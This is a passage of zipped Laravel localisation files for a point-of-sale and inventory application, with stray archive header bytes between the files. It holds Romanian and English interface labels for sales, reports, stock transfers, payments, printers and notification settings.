'total_sale_due' => 'Total vanzari la termen', 'customer' => 'Client', ]; PK G �Z�q"�| | ro/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'Sell', 'sells' => 'Sales', 'list_sale' => 'List Sales', 'add_sale' => 'Add Sale', 'pos_sale' => 'POS', 'draft_added' => 'Draft added successfully', 'invoice_added' => 'Invoice added successfully', 'item' => 'Items', 'total' => 'Total', 'order_tax' => 'Order Tax', 'discount' => 'Discount', 'total_payable' => 'Total Payable', 'cancel' => 'Cancel', 'draft' => 'Draft', 'finalize' => 'Pay & Checkout', 'express_finalize' => 'Express <br/>Checkout', 'product' => 'Product', 'products' => 'Products', 'unit_price' => 'Unit Price', 'qty' => 'Quantity', 'subtotal' => 'Subtotal', 'recent_transactions' => 'Your Recent Transactions', 'pos_sale_added' => 'Sale added successfully', 'price_inc_tax' => 'Price inc. tax', 'tax' => 'Tax', 'edit_discount' => 'Edit Discount', 'edit_order_tax' => 'Edit Order Tax', 'discount_type' => 'Discount Type', 'discount_amount' => 'Discount Amount', 'no_recent_transactions' => 'No Recent Transactions', 'final' => 'Final', 'invoice_no' => 'Invoice No.', 'customer_name' => 'Customer name', 'payment_status' => 'Payment status', 'status' => 'Status', 'total_amount' => 'Total amount', 'total_paid' => 'Total paid', 'total_remaining' => 'Total remaining', 'payment_info' => 'Payment info', 'drafts' => 'Drafts', 'all_drafts' => 'All drafts', 'sell_details' => 'Sell Details', 'payments' => 'Payments', 'amount' => 'Amount', 'payment_mode' => 'Payment mode', 'payment_note' => 'Payment note', 'sell_note' => 'Sell note', 'staff_note' => 'Staff note', 'draft_updated' => 'Draft updated successfully', 'pos_sale_updated' => 'Sale updated successfully', 'location' => 'Location', 'add_payment_row' => 'Add Payment Row', 'finalize_payment' => 'Finalize Payment', 'sale_date' => 'Sale Date', 'list_pos' => 'List POS', 'edit_sale' => 'Edit Sale', 'shipping' => 'Shipping', 'shipping_details' => 'Shipping Details', 'shipping_charges' => 'Shipping Charges', ]; PK G �Z �{kG G ro/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'Reports', 'purchase_sell_report' => 'Purchase & Sale', 'purchase_sell' => 'Purchase & Sale Report', 'purchase_sell_msg' => 'Purchase & sale details for the selected date range', 'total_purchase' => 'Total Purchase', 'purchase_inc_tax' => 'Purchase Including tax', 'total_sell' => 'Total Sale', 'sell_inc_tax' => 'Sale Including tax', 'purchase_due' => 'Purchase Due', 'sell_due' => 'Sale Due', 'overall' => 'Overall (Sale-Purchase)', 'sell_minus_purchase' => 'Sale - Purchase', 'difference_due' => 'Due amount', 'customer' => 'Customers', 'supplier' => 'Suppliers', 'total_due' => 'Due', 'contacts' => 'Supplier & Customer Report', 'contact' => 'Contact', 'stock_report' => 'Stock Report', 'products' => 'Products', 'current_stock' => 'Current stock', 'total_unit_sold' => 'Total unit sold', 'tax_report' => 'Tax Report', 'tax_report_msg' => 'Tax details for the selected date range', 'input_tax' => 'Input Tax', 'output_tax' => 'Output Tax', 'tax_overall' => 'Overall (Input - Output)', 'trending_products' => 'Trending Products', 'apply_filters' => 'Apply Filters', 'filters' => 'Filters', 'expense_report' => 'Expense Report', 'total_expense' => 'Total Expense', 'others' => 'Others', 'all' => 'All', 'top_trending_products' => 'Top Trending Products', 'all_locations' => 'All locations', 'stock_adjustment_report' => 'Stock Adjustment Report', 'total_stock_adjustment' => 'Total Stock Adjustment', 'total_recovered' => 'Total Amount Recovered', 'total_normal' => 'Total Normal', 'total_abnormal' => 'Total Abnormal', 'register_report' => 'Register Report', 'open_time' => 'Open Time', 'close_time' => 'Close Time', 'user' => 'User', 'all_users' => 'All Users', 'sales_representative' => 'Sales Representative Report', 'sales_representative_expenses' => 'All expenses related to the sales representative', 'summary' => 'Summary', 'date_range' => 'Date Range', 'stock_expiry_report' => 'Stock Expiry Report', 'stock_left' => 'Stock Left', 'expired' => 'Expired', 'view_stocks' => 'View Stocks', 'expiring_in_1_week' => 'Expiring in a week', 'expiring_in_15_days' => 'Expiring in 15 days', 'expiring_in_1_month' => 'Expiring in a month', 'expiring_in_3_months' => 'Expiring in 3 months', 'expiring_in_6_months' => 'Expiring in 6 months', 'expiring_in_1_year' => 'Expiring in a year', 'profit_loss' => 'Profit / Loss Report', 'opening_stock' => 'Opening Stock', 'closing_stock' => 'Closing stock', 'total_expense' => 'Total Expense', 'net_profit' => 'Net Profit', 'total_stock_adjustment' => 'Total Stock Adjustment', 'total_stock_recovered' => 'Total Stock Recovered', ]; PK G �ZN�4� ro/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reset Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'Passwords must be at least six characters and match the confirmation.', 'reset' => 'Your password has been reset!', 'sent' => 'We have e-mailed your password reset link!', 'token' => 'This password reset token is invalid.', 'user' => "We can't find a user with that e-mail address.", ]; PK G �Z �*�� � ro/unit.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Unit Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Units CRUD operations. | */ 'units' => 'Unitati', 'manage_your_units' => 'Administreaza unitatile', 'all_your_units' => 'Toate', 'name' => 'Nume', 'short_name' => 'Prescurtare', 'allow_decimal' => 'Accepta zecimale', 'added_success' => 'Unitate adaugata cu succes.', 'updated_success' => 'Unitate actualizata cu succes.', 'deleted_success' => 'Unitate stearsa cu succes.', 'add_unit' => 'Adauga', 'edit_unit' => 'Editeaza', ]; PK G �Z���j< < ro/printer.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Printer Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Printer CRUD operations. | */ 'printers' => 'Printers', 'add_printer' => 'Add Printer', 'name' => 'Printer Name', 'connection_type' => 'Connection Type', 'capability_profile' => 'Capability Profile', 'ip_address' => 'IP Address', 'port' => 'Port', 'path' => 'Path', 'added_success' => 'Printer added successfully', 'manage_your_printers' => 'Manage your Printers', 'all_your_printer' => 'All configured Printers', 'deleted_success' => 'Printer deleted successfully', 'edit_printer_setting' => 'Edit Printer Configuration', 'receipt_printers' => 'Receipt Printers', 'character_per_line' => 'Characters per line', 'printer_name' => 'Printer name', 'updated_success' => 'Printer updated successfully', 'edit_printer' => 'Edit Printer', ]; PK G �Z ��tC tC ro/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'Enable editing product price from purchase screen', 'sales_commission_agent' => 'Agent vanzari', 'sales_commission_agents' => 'Agenti vanzari', 'disable' => 'Disable', 'logged_in_user' => 'Logged in user', 'select_from_users_list' => "Select from user's list", 'select_from_commisssion_agents_list' => "Select from commission agent's list", 'add_sales_commission_agent' => 'Add sales commission agent', 'commission_agent_added_success' => 'Commission agent added successfully', 'edit_sales_commission_agent' => 'Edit sales commission agent', 'commission_agent_updated_success' => 'Commission agent updated successfully', 'commission_agent_deleted_success' => 'Commission agent deleted successfully', 'contact_no' => 'Nr. contact', 'commission_agent' => 'Commission Agent', 'cmmsn_percent' => 'Procent din vanzari (%)', 'sales_added' => 'Vanzari adaugate', 'sales_with_commission' => 'Vanzari cu comision', // 'total_sale_with_commission' => 'Total Sale With Commission', 'total_sale_commission' => 'Total vanzari cu comision', 'sales_item_addition_method' => 'Metoda adaugare produs', 'add_item_in_new_row' => 'Adauga produs', 'increase_item_qty' => 'Increase item quantity if it already exists', 'stock_transfers' => 'Transfer stocuri', 'all_stock_transfers' => 'Toate transferurile', 'add_stock_transfer' => 'Adauga tranfer', 'list_stock_transfers' => 'Lista transferuri', 'location_from' => 'Locatie (De la)', 'location_to' => 'Locatie (La)', 'shipping_charges' => 'Taxe transport', 'stock_transfer_added_successfully' => 'Transfer adaugat cu succes.', 'stock_transfer_delete_success' => 'Transfer sters cu succes.', 'stock_transfer_cannot_be_deleted' => "This stock transfer can't be deleted as some of the stocks are already sold", 'total_transfer_shipping_charges' => 'Total taxe transfer', 'enable_inline_tax' => 'Enable inline tax in purchase and sell', 'save_n_add_opening_stock' => 'Salveaza si adauga stoc initial', 'add_opening_stock' => 'Adauga stoc initial', 'opening_stock_added_successfully' => 'Stocul initial a fost adaugt cu succees.', 'update_n_edit_opening_stock' => 'Editeaza stoc initial.', 'total_amount_exc_tax' => 'Total val. (FTVA)', 'currency_symbol_placement' => 'Currency Symbol Placement', 'before_amount' => 'Before amount', 'after_amount' => 'After amount', 'barcode_label_error' => 'Unsupported SKU id for the selected barcode type', 'list_products' => 'Lista produse', 'list_expenses' => 'Lista cheltuieli', 'add_expiry' => 'Adauga termen', 'add_manufacturing_auto_expiry' => 'Add manufacturing date & expiry period', 'tooltip_enable_expiry' => 'Enable product expiry. <br/> <br/><b>Add item expiry</b>: To directly add item expiry only. <br/> <b>Add manufacturing date & expiry period</b>: To add manufacturing date & expiry period and calculate expiry date based on that.', 'quantity' => 'Cant.', 'on_product_expiry' => 'On Product Expiry', 'keep_selling' => 'Keep Selling', 'stop_selling' => 'Stop Selling n days before', 'tooltip_on_product_expiry' => 'Specify action that needs to be done on product expiry. <br><br> <b>Keep Selling</b>: Products will be kept on selling after expiry also. <br> <b>Stop Selling</b>: Stop selling item n days before expiry.', 'output_tax_minus_input_tax' => 'Output Tax - Input Tax - Expense Tax', 'total_purchase_discount' => 'Discount total', 'total_sell_discount' => 'Total Sell discount', 'updated_succesfully' => 'Updated Successfully', 'default_unit' => 'Default Unit', 'enable_brand' => 'Enable Brands', 'enable_category' => 'Enable Categories', 'enable_sub_category' => 'Enable Sub-Categories', 'enable_price_tax' => 'Enable Price & Tax info', 'enable_purchase_status' => 'Enable Purchase Status', 'tooltip_enable_purchase_status' => 'On disable all purchases will be marked as <i>Item Received</i>', 'recent_product_quantity' => 'Go to product quantity', 'full_screen' => 'Press F11 to go Full Screen', 'Uncategorised' => 'Uncategorised', 'no_products_to_display' => 'No Products to display', 'item_out_of_stock' => 'Product out of stock', 'go_back' => 'Go Back', 'disable_pay_checkout' => 'Disable Multiple Pay', 'disable_draft' => 'Disable Draft', 'disable_express_checkout' => 'Disable Express Checkout', 'hide_product_suggestion' => 'Don\'t show product suggestion', 'hide_recent_trans' => 'Don\'t show recent transactions', 'pos_settings' => 'POS settings', 'disable_discount' => 'Disable Discount', 'disable_order_tax' => 'Disable order tax', 'customer_groups' => 'Customer Groups', 'customer_group' => 'Customer Group', 'all_your_customer_groups' => 'All Customer Groups', 'add_customer_group' => 'Add Customer Group', 'customer_group_name' => 'Customer Group Name', 'calculation_percentage' => 'Calculation Percentage (%)', 'tooltip_calculation_percentage' => '<b>Selling price = Selling price Set For the product + Calculation percentage </b> <br/><br/> You can specifye.', 'success' => 'Success', 'edit_customer_group' => 'Edit Customer Group', 'customer_groups_report' => 'Customer Groups Report', 'none' => 'None', 'enable_imei_or_sr_no' => 'Enable Product description, IMEI or Serial Number', 'tooltip_sr_no' => 'Enable or disable adding product description, IMEI or Serial number while selling products in POS screen', 'description' => 'Description', 'sell_line_description_help' => 'Add product IMEI, Serial number or other informations here.', 'unit_cost_before_discount' => 'Pret', 'discount_percent' => 'Proc. discount %', 'profit_margin' => 'Profit Margin %', 'discount_percent' => 'Discount Percent', 'application_tour' => 'Application Tour', 'profile' => 'Profil', 'sign_out' => 'Iesire', 'my_profile' => 'Profilul meu', 'Admin' => 'Admin', 'Cashier' => 'Cashier', 'both_supplier_customer' => 'Both (Supplier & Customer)', 'months' => 'Luni', 'days' => 'Zile', 'suppliers' => 'Furnizori', 'customers' => 'Clienti', 'enter_product_name_to_print_labels' => 'Enter products name to print labels', 'manage_product_variations' => 'Manage product variations', 'all_variations' => 'Toate variatiile', 'values' => 'Valori', 'add_variation' => 'Adauga', 'variation_name' => 'Nume variatie', 'add_variation_values' => 'Adauga vlori', 'edit_variation' => 'Editeaza', 'received' => 'Primit', 'pending' => 'In asteptare', 'ordered' => 'Comandat', 'search_product_placeholder' => 'Enter Product name / SKU / Scan bar code', 'fixed' => 'Fix', 'percentage' => 'Procent', 'select_location' => 'Selecteaza locatie', 'add_description' => 'Adauga descriere', 'cash' => 'Cash', 'card' => 'Card', 'cheque' => 'Cec', 'bank_transfer' => 'Transfer bancar', 'other' => 'Altele', 'payment' => 'Plata', 'total_items' => 'Total produse', 'total_paying' => 'Total de plata', 'balance' => 'Balanta', 'payment_method' => 'Metoda de plata', 'card_no' => 'Nr. Card', 'card_holder_name' => 'Nume detinator', 'card_transaction_no' => 'Nr. tranzactie', 'card_type' => 'Tip card', 'month' => 'luna', 'year' => 'An', 'security_code' => 'Security Code', 'cheque_no' => 'Cheque Number', 'bank_account_number' => 'Bank Account No', 'paid' => 'Platit', 'due' => 'Due', 'partial' => 'Partial', 'no_of_products' => 'Number of products', 'select_a_date_range' => 'Select a date range', 'shortcut_help' => "Shortcut should be the names of the keys separated by '+'", 'example' => 'Exemplu', 'available_key_names_are' => 'Available key names are', 'add_new_product' => 'Add new product', 'invoice_logo_help' => 'Max :max_size, jpeg,gif,png formats only.', 'invoice_logo_help2' => 'Upload only if you want to replace previous logo', 'printer_name_help' => 'Short Descriptive Name to recognize printer', 'char_per_line_help' => 'Number of character that can be printed per line', 'ip_address_help' => 'IP address for connecting to the printer', 'port_help' => 'Most printer works on port 9100', 'combination_of_taxes' => 'Combination of multiple taxes', 'product_purchase_report' => 'Raport achizitii', 'unit_perchase_price' => 'Pret achizitie', 'search_product' => 'Cauta produs', 'product_sell_report' => 'Product Sell Report', 'unit_sale_price' => 'Unit Sale Price', 'contact_id' => 'Contact ID', 'category_code_help' => 'Category code is same as <b>HSN code</b>', 'sub_heading_line' => 'Sub Heading Line :_number_', 'date_label' => 'Date Label', 'client_id_label' => 'Client ID Label', 'product_label' => 'Product Label', 'qty_label' => 'Quantity Label', 'unit_price_label' => 'Unit Price Label', 'subtotal_label' => 'Subtotal Label', 'product_details_to_be_shown' => 'Product details to be shown', 'show_brand' => 'Show brand', 'show_sku' => 'Show SKU', 'show_cat_code' => 'Show category code or HSN code', 'show_client_id' => 'Show client ID', 'show_time_with_date' => 'Show time with date', 'show_sale_description' => 'Show sale description', 'product_imei_or_sn' => '(Product IMEI or Serial Number)', 'purchase_already_exist' => "Product can't be deleted because purchases related to this product exist", 'opening_stock_sold' => "Product can't be deleted because some stocks are sold", 'stock_adjusted' => "Product can't be deleted because some stocks are adjusted", 'product_delete_success' => 'Product deleted successfully', 'manage_products' => 'Administreaza produse', 'all_products' => 'Toate rodusele', 'login' => 'Login', 'register' => 'Inregistrare', 'username' => 'Utilizator', 'password' => 'Parola', 'remember_me' => 'Tine-ma minte', 'forgot_your_password' => 'Ai uitat parola?', 'reset_password' => 'Reseteaza parola', 'email_address' => 'Adresa email', 'send_password_reset_link' => 'Trimite link de resetare parola', 'instructions' => 'Instructiuni', 'instruction_line1' => 'Follow the instructions carefully before importing the file.', 'instruction_line2' => 'The columns of the file should be in the following order.', 'col_no' => 'Column Number', 'col_name' => 'Column Name', 'instruction' => 'Instruction', 'required' => 'Required', 'optional' => 'Optional', 'name_ins' => 'Name of the product', 'brand_ins' => 'Name of the brand', 'brand_ins2' => 'If not found new brand with the given name will be created', 'unit_ins' => 'Name of the unit', 'category_ins' => 'Name of the Category', 'category_ins2' => 'If not found new category with the given name will be created', 'sub_category_ins' => 'Name of the Sub-Category', 'sub_category_ins2' => 'If not found new sub-category with the given name under the <br> parent Category will be created', 'sku_ins' => 'Product SKU. If blank an SKU will be automatically generated', 'barcode_type_ins' => 'Barcode Type for the product.', 'barcode_type_ins2' => 'Currently supported', 'default' => 'Default', 'manage_stock_ins' => 'Enable or disable stock managemant', 'alert_qty_ins' => 'Required if Manage Stock is 1', 'expires_in_ins' => 'Product expiry period (Only in numbers)', 'expire_period_unit' => 'Expiry Period Unit', 'available_options' => 'Available Options', 'expire_period_unit_ins' => 'Unit for the expiry period', 'applicable_tax_ins' => 'Name of the Tax Rate', 'variation_name_ins' => 'Required if product type is variable', 'variation_name_ins2' => 'Name of the variation (Ex: Size, Color etc )', 'variation_values_ins' => 'Required if product type is variable', 'variation_values_ins2' => "Values for the variation separated with '|' <br> (Ex: Red|Blue|Green)", 'purchase_price_inc_tax' => 'Pret achizitie (Cu TVA)', 'purchase_price_inc_tax_ins1' => 'Required if Purchase Price Excluding Tax is not given', 'purchase_price_inc_tax_ins2' => "Purchase Price (Including Tax) (Only in numbers)<br><br>For variable products '|' separated values with <br>the same order as Variation Values <br>(Ex: 84|85|88)", 'purchase_price_exc_tax' => 'Pret achizitie (FTVA)', 'purchase_price_exc_tax_ins1' => 'Required if Purchase Price Including Tax is not given', 'purchase_price_exc_tax_ins2' => "Purchase Price (Excluding Tax) (Only in numbers)<br><br>For variable products '|' separated values with <br>the same order as Variation Values <br>(Ex: 84|85|88)", 'profit_margin_ins' => 'Profit Margin (Only in numbers)', 'profit_margin_ins1' => 'If blank default profit margin for the <br> business will be used', 'selling_price' => 'Selling Price', 'selling_price_ins' => 'Selling Price (Only in numbers)', 'selling_price_ins1' => 'If blank selling price will be calculated <br>with the given Purchase Price <br>and Applicable Tax ', 'opening_stock' => 'Opening Stock', 'opening_stock_ins' => 'Opening Stock (Only in numbers)', 'only_applicable_to_single_product' => 'Only applicable to single product', 'purchase_delete_success' => 'Achizitie stearsa cu succes.', 'location_ins' => 'If blank first business location will be used', 'location_ins1' => 'Name of the business location', 'expiry_date' => 'Expiry Date', 'expiry_date_ins' => 'Stock Expiry Date <br><b>Format: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'Enable Lot number', 'tooltip_enable_lot_number' => 'This will enable you to enter Lot number for each purchase line in purchase screen', 'lot_number' => 'Lot Number', 'enable_racks' => 'Enable Racks', 'tooltip_enable_racks' => 'Enable this to add rack details of a product for different business locations while adding products', 'rack_details' => 'Rack/Row/Position Details', 'tooltip_rack_details' => 'Enter details of where the product is kept in the store, for different business locations.', 'updated_success' => 'Updated Successfully', 'added_success' => 'Added Successfully', 'deleted_success' => 'Deleted Successfully', 'enable_disable_modules' => 'Enable/Disable Modules', 'opening_stock_help_text' => "<br><br>For variable products separate stock quantities with '|' <br>(Ex: 100|150|200)", 'applicable_tax_help' => '<br><br/>If purchase Price (Excluding Tax) is not same as <br/>Purchase Price (Including Tax) <br/>then you must supply the tax rate name.', 'sale_delete_success' => 'Sale deleted successfully', 'click_to_edit' => 'Click to edit', 'click_to_delete' => 'Click to delete', 'quotation_heading' => 'Quotation Heading', 'quotation' => 'Quotation', 'quotation_no_prefix' => 'Quotation no. label', 'tooltip_quotation_heading' => 'Quotation or Estimates heading is used while providing quotation to customers.', 'quotation_added' => 'Quotation added successfully', 'quotation_updated' => 'Quotation updated successfully', 'product_sold_details_register' => 'Details of products sold', 'grand_total' => 'Grand Total', 'change_return' => 'Change Return', 'date_format' => 'Date Format', 'time_format' => 'Time Format', '12_hour' => '12 Hour', '24_hour' => '24 Hour', 'list_quotations' => 'List quotations', 'list_drafts' => 'List Drafts', 'you_cannot_delete_this_contact' => 'Cannot delete the contact - Transactions already exist for the contact.', 'enable_row' => 'Enable Row', 'enable_position' => 'Enable Position', 'rack' => 'Rack', 'row' => 'Row', 'position' => 'Position', 'weight' => 'Weight', 'rack_help_text' => "Rack details seperated by '|' for different business locations serially.<br/> (Ex: R1|R5|R12) ", 'row_help_text' => "Row details seperated by '|' for different business locations serially.<br/> (Ex: ROW1|ROW2|ROW3) ", 'position_help_text' => "Position details seperated by '|' for different business locations serially.<br/> (Ex: POS1|POS2|POS3) ", 'import_opening_stock' => 'Importa stoc initial', 'tooltip_import_opening_stock' => 'This feature is used to import opening stock of already added products. If the products are not added in the system then it is advisable to use import products for adding product details with opening stock.', 'design' => 'Design', 'express_checkout_cash' => 'Cash', 'express_checkout_card' => 'Card', 'checkout_multi_pay' => 'Multiple Pay', 'tooltip_checkout_multi_pay' => 'Checkout using multiple payment methods', 'tooltip_express_checkout_card' => 'Express checkout using card', 'card_transaction_details' => 'Card transaction details', 'client_tax_label' => 'Client tax number label', 'cat_code_label' => 'Category or HSN code label', 'list_sell_return' => 'List Sell Return', 'sell_return' => 'Sell Return', 'layout_credit_note' => 'Credit Note / Sell Return Details', 'cn_heading' => 'Heading', 'cn_no_label' => 'Reference Number', 'cn_amount_label' => 'Total Amount', 'custom_field' => 'Custom Field :number', 'website' => 'Website', 'total_credit_amt' => 'Total Credit Amount', 'unit_sell_price' => 'Unit Sell Price', 'prefixes' => 'Prefixes', 'purchase_order' => 'Comanda achizitie', 'stock_transfer' => 'Transfer stoc', 'purchase_payment' => 'Plata achizitie', 'sell_payment' => 'Sell Payment', 'location_id' => 'Location ID', 'add_edit_opening_stock' => 'Add or edit opening stock', 'expiry_date_will_be_changed_in_pl' => 'Expiry date of the purchase line will be changed', 'remove_from_stock' => 'Scoate din stoc', 'stock_removed_successfully' => 'Stoc eliminat cu succes.', 'product_image' => 'Product image', 'aspect_ratio_should_be_1_1' => 'Aspect ratio should be 1:1', 'previous_image_will_be_replaced' => 'Previously uploaded image will be replaced', 'all_category' => 'All Categories', 'all_brands' => 'All Brands', 'backup' => 'Administer Backup', 'download_complete_backup' => 'Download complete backup', 'backup_doesnt_exist' => "Backup Doesn't exist", 'lot_report' => 'Lot Report', 'purchase_payment_report' => 'Raport plati achizitii', 'paid_on' => 'Platit in', 'purchase' => 'Achizitie', 'cheque_no' => 'Cheque No.', 'card_transaction_no' => 'Card Transaction No.', 'bank_account_no' => 'Bank Account No.', 'sell_payment_report' => 'Sell Payment Report', 'restaurant' => 'Restaurant', 'user_type' => 'User type', 'business_inactive' => 'Sorry, your business is inactive!!', 'product_custom_field1' => 'Custom Field1', 'product_custom_field2' => 'Custom Field2', 'product_custom_field3' => 'Custom Field3', 'product_custom_field4' => 'Custom Field4', 'image' => 'Image', 'image_help_text' => 'Image name with extension.<br/> (Image name must be uploaded to the server :path )', 'tooltip_kitchen' => 'This is the kitchen screen. Here order details can be viewed and orders can be marked as cooked.', 'tooltip_serviceorder' => 'This is the service Staff screen. Service Staff can use this screen to view all orders for them and mark order as served.', 'sales_person_label' => 'Sales Person Label', 'show_sales_person' => 'Show Sales Person', 'decimal_value_not_allowed' => 'Decimal value not allowed', 'theme_color' => 'Theme Color', 'quantity_error_msg_in_lot' => 'Only :qty :unit available in the selected Lot', 'show_product_expiry' => 'Show product expiry', 'show_lot_number' => 'Show lot number', 'expiry' => 'Expiry', 'lot' => 'Lot', 'lot_n_expiry' => 'Lot & Expiry', 'pos_edit_product_price_help' => 'Edit product Unit Price and Tax', 'name' => 'Name', 'payment_type' => 'Payment Type', 'manage_payment_account' => 'Manage Your Payment Account', 'all_payments' => 'All Payments', 'payment_note' => 'Payment Note', 'payment_account_deleted_success' => 'Payment account deleted successfully', 'payment_account_updated_success' => 'Payment account updated successfully', 'payment_gateway' => 'Online Payment Gateway', 'payment_account_success' => 'Payment account added successfully', 'payment_account' => 'Payment Account', 'tooltip_sell_product_column' => 'Click <i>product name</i> to edit price, discount & tax. <br/>Click <i>Comment Icon</i> to enter serial number / IMEI or additional note.<br/><br/>Click <i>Modifier Icon</i>(if enabled) for modifiers', 'credit_limit' => 'Credit Limit', 'credit_limit_help' => 'Keep blank for no limit', 'cutomer_credit_limit_exeeded' => 'Customer Credit Limit Exceeded <br>:credit_limit', 'custom_payment_1' => 'Custom Payment 1', 'custom_payment_2' => 'Custom Payment 2', 'custom_payment_3' => 'Custom Payment 3', 'transaction_no' => 'Transaction No.', 'file' => 'File', 'size' => 'Size', 'date' => 'Date', 'age' => 'Age', 'create_new_backup' => 'Create New Backup', 'all_sales' => 'All Sales', 'opening_balance' => 'Opening Balance', 'opening_balance_due' => 'Opening Balance Due', 'import_contacts' => 'Import Contacts', 'contact_type_ins' => '<strong>Available Options: customer, supplier & both</strong>', 'contact_id_ins' => 'Leave blank to auto generate Contact ID', 'required_if_supplier' => 'Required if contact type is supplier or both', 'pay_term_period_ins' => 'Available Options: days and months', 'your_username_will_be' => 'Your username will be', 'currency_exchange_rate' => 'Currency Exchange Rate', 'select_all' => 'Selecteaza tot', 'deselect_all' => 'Debifeaza tot', 'duplicate_product' => 'Duplicate Product', 'delete_selected' => 'Sterge selectate', 'no_row_selected' => 'No row selected', 'duplicate_sell' => 'Duplicate Sell', 'duplicate_sell_created_successfully' => 'Duplicate Sell created successfully', 'modules' => 'Modules', 'theme' => 'Theme', 'account' => 'Account', 'expense_payment' => 'Expense Payment', 'expense' => 'Expense', 'disabled_in_demo' => 'Feature disabled in demo!!', 'selling_price_group' => 'Grup preturi vanzare', 'all_selling_price_group' => 'All Selling Price Group', 'add_selling_price_group' => 'Add Selling Price Group', 'edit_selling_price_group' => 'Edit Selling Price Group', 'access_selling_price_groups' => 'Access selling price groups', 'save_n_add_selling_price_group_prices' => 'Save & Add Selling-Price-Group Prices', 'add_selling_price_group_prices' => 'Add or edit Group Prices', 'default_selling_price_inc_tax' => 'Default Selling Price (Inc. Tax)', 'variation' => 'Variation', 'price_group' => 'Price Group', 'group_price' => 'Group Price', 'default_selling_price' => 'Default Selling Price', 'price_group_help_text' => 'Selling Price Group in which you want to sell', 'group_prices' => 'Group Prices', 'view_group_prices' => 'View group prices', 'save_n_add_another' => 'Save And Add Another', 'update_n_add_another' => 'Update And Add Another', 'subtotal_editable' => 'Subtotal Editable', 'subtotal_editable_help_text' => 'Check this to make Subtotal field editable for each product in POS screen', 'notification_templates' => 'Notification Templates', 'new_sale' => 'New Sale', 'payment_reminder' => 'Payment Remider', 'payment_received' => 'Payment Received', 'new_booking' => 'New Booking', 'new_order' => 'New Order', 'payment_paid' => 'Payment Paid', 'items_received' => 'Items Received', 'items_pending' => 'Items Pending', 'customer_notifications' => 'Customer Notifications', 'supplier_notifications' => 'Supplier Notifications', 'email_subject' => 'Email Subject', 'email_body' => 'Email Body', 'sms_body' => 'SMS Body', 'available_tags' => 'Available Tags', 'send_notification' => 'Send Notification', 'new_sale_notification' => 'New Sale Notification', 'send_email_only' => 'Send Email Only', 'send_sms_only' => 'Send SMS Only', 'send_both_email_n_sms' => 'Send Both Email & SMS', 'to' => 'To', 'mobile_number' => 'Mobile Number', 'send' => 'Send', 'notification_sent_successfully' => 'Notification sent successfully', 'payment_received_notification' => 'Send Payment Received Notification', 'send_payment_reminder' => 'Send Payment Remider', 'new_order_notification' => 'New Order Notification', 'item_received_notification' => 'Items Received Notification', 'item_pending_notification' => 'Items Pending Notification', 'payment_paid_notification' => 'Payment Paid Notification', 'mail_host' => 'Host', 'mail_port' => 'Port', 'mail_username' => 'Utilizator', 'mail_password' => 'Parola', 'mail_encryption' => 'Encryption', 'mail_from_address' => 'From Address', 'mail_from_name' => 'From Name', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'Email Settings', 'sms_settings' => 'SMS Settings', 'send_to_param_name' => 'Send to parameter name', 'msg_param_name' => 'Message parameter name', 'sms_settings_param_key' => 'Parameter :number key', 'sms_settings_param_val' => 'Parameter :number value', 'sending' => 'Sending', 'request_method' => 'Request Method', 'purchase_return' => 'Retur achizitie', 'return_quantity' => 'Retur cantitate', 'return_subtotal' => 'Subtotal retur', 'quantity_left' => 'Cantitate ramasa', 'return_total' => 'Total retur', 'total_return_tax' => 'Total taxa', 'purchase_return_added_success' => 'Retur achizitie adaugat cu succes.', 'list_purchase_return' => 'Lista retururi', 'all_purchase_returns' => 'Toate retururile', 'parent_purchase' => 'Parent Purchase', 'purchase_return_details' => 'Purchase Return Details', 'return_date' => 'Return Date', 'parent_sale' => 'Parent Sale', 'sell_quantity' => 'Sell Quantity', 'total_return_discount' => 'Total Return Discount', 'sell_return_details' => 'Sell Return Details', 'sell_details' => 'Sale Details', 'return_discount' => 'Return Discount', 'total_unit_transfered' => 'Total Unit Transfered', 'total_unit_adjusted' => 'Total Unit Adjusted', 'return_exist' => 'Return exist for the Transaction, edit the return instead.', 'synced_from_woocommerce' => 'Synced from Woocommerce', 'available_stock_expired' => ' OR available stock has expired.', 'sell_payments' => 'Permission to Add/Edit/Delete Payments in List Sells / List POS screen.', 'purchase_payments' => 'Permission to Add/Edit/Delete Payments in List Purchases.', 'sell.payments' => 'Add/Edit/Delete Payments', 'purchase.payments' => 'Add/Edit/Delete Payments', 'view_payment' => 'View Payment', 'card_number' => 'Card No.', 'transaction_number' => 'Transaction Number', 'card_holder_name' => 'Card holder name', 'card_number' => 'Card number', 'card_transaction_number' => 'Card transaction No', 'cheque_number' => 'Cheque number', 'commsn_percent_help' => "Used only if Sales Commission Agent Type setting is: 'Logged In user' or 'Select from users list'", 'max_amount_to_be_paid_is' => 'Maximum amount is :amount', 'adjusted_for' => 'Adjusted For', 'some_qty_returned' => 'Some quantities are returned from this purchase', 'total_purchase_return' => 'Total Purchase Return', 'total_purchase_return_paid' => 'Total Purchase Return Paid', 'total_purchase_return_inc_tax' => 'Total Purchase Return Including Tax', 'purchase_sell_report_formula' => 'Overall (Sale - Sale Return - Purchase - Purchase Return)', 'purchase_return_due' => 'Purchase Return Due', 'total_purchase_return_due' => 'Total Purchase Return Due', 'receive_purchase_return_due' => 'Receive Purchase Return Due', 'some_qty_returned_from_sell' => 'Some quantities are returned from this sale', 'sell_due' => 'Sell Due', 'sell_return_due' => 'Sell Return Due', 'total_sell_return_due' => 'Total Sell Return Due', 'pay_sell_return_due' => 'Pay Sell Return Due', 'total_sell_return' => 'Total Sell Return', 'total_sell_return_paid' => 'Total Sell Return Paid', 'total_sell_return_inc_tax' => 'Total Sell Return Including Tax', 'tooltip_columnize_taxes_heading' => 'Enter tax name for headings, heading 